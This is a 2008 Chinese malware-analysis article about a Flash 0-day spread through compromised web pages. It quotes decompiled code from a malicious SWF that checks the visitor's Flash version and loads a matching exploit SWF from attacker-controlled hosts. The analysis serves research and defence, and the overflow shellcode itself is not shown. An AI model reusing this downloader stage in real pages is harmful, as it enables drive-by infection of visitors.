FLASH 0DAY 详细分析和总结!(图)

ZDNet 安全频道频道 更新时间:2008-06-13 作者: 来源:SohuIT

本文关键词:相对路径 SWF文件 shellcode

  By:racle



  手记:



  ------------------------------------------



  首先必须感谢的X.G.C.Team的OPEN在几个关键的地方给予我分析,解决办法的帮助.与及咱们论坛好几位兄弟的帮助.最终我才把这个东西给分析出来..



  ------------------------------------------



  最近FLASH出了几个0DAY,论坛也帖了相关的新闻信息(请见:http://bbs.tian6.com/viewthread.php?tid=4434&extra=&page=1).我也约在5天前开始对此进行研究.我记得同时间邪恶八进制也有人开始同样的研究.到目前为止,该0DAY可以影响到90.115这个版本.而邪八那边的研究,先在两天前宣布成功完成.这又给我带来不小的压力..



  (一)作为研究的初步,通过TIM的帮助,我从几个被挂马的页面得到2个SWF网马.反编译后得知这两个SWF在获得本地FLASH插件版本后,会再次下载2个真正具备溢出并且下载病毒到本地执行能力的恶意SWF文件.其验证和下载SWF文件的详细代码可见如下:



  var fVersion = getVersion();



  loadMovie("http://bao.5bao.net/123/" + fVersion + "i.swf", _root);



  stop ();



  ------------------------------------此处获得了本地的FLASH版本.-------------------------------------



  说明:加载外部文件命令loadMovie()可以在播放 SWF 文件的同时,将外部的 SWF 文件或 JPEG 文件加载到 Flash Player 中,使您可以同时显示几个 SWF 文件,或者在几个SWF 文件之间切换[local]1[/local]



  1、loadMovie("url",target [, method])



  "url" :要加载的 SWF 文件或 JPEG 文件的绝对路径或相对路径。



  使用相对路径一般应将播放的.swf文件与要加载的.swf文件放在同一文件夹中。绝对 路径必须有详细的路径地址。



  target:目标影片剪辑(mc元件)的名称和路径。目标影片剪辑将替换为加载的 SWF 文件或图像。



  method 可选参数,一般可以不选。



  // [Action in Frame 1]



  _constantPool "fVersion" "/:$version" "http://xioayang,com/123/" "c.swf" "_root"



  _push "fVersion" "/:$version"



  _getVariable



  _var



  _push "http://xioayang,com/123/" "fVersion"



  _getVariable



  _add2



  _push "c.swf"



  _add2



  _push "_root"



  _getVariable



  _getURL2 flag 64



  _stop



  _end



  -------------------------获得版本后,构成下载地址,下载真正的凶手SWF.---------------------



  Action in Frame 1这个动作就同时打开了C.swf并push in root了.



  根据上面,我下载了相应的"WIN%209,0,45,0ie.swf"保存到本地,至此我们总共得到了4个样本SWF,其中2个溢出的主SWF.总算有了可供对比分析文件的资本了.



  (二)反编译溢出主体SWF后,我们从FLA中看到了这个SWF包括3个标签,1个动作,1个图片元素,1个侦.



  



  



  通过2进制对比我们的两个样本,发现具有可疑性的分别是图片元素和那个侦.邪恶八进制那里的研究认为是图片部分.并且最终锁定了图片中的一段代码.不过无论图片或者那个侦在16进下均为乱码.通过几个常用的SHELLCODE加密技术,我仍然无法还原出有用的信息..前几天我就是从这里开始失去方向的.部分代码截图可见:



  



  



  



安全频道 相对路径 最新报道

安全频道 shellcode 最新报道

[an error occurred while processing this directive]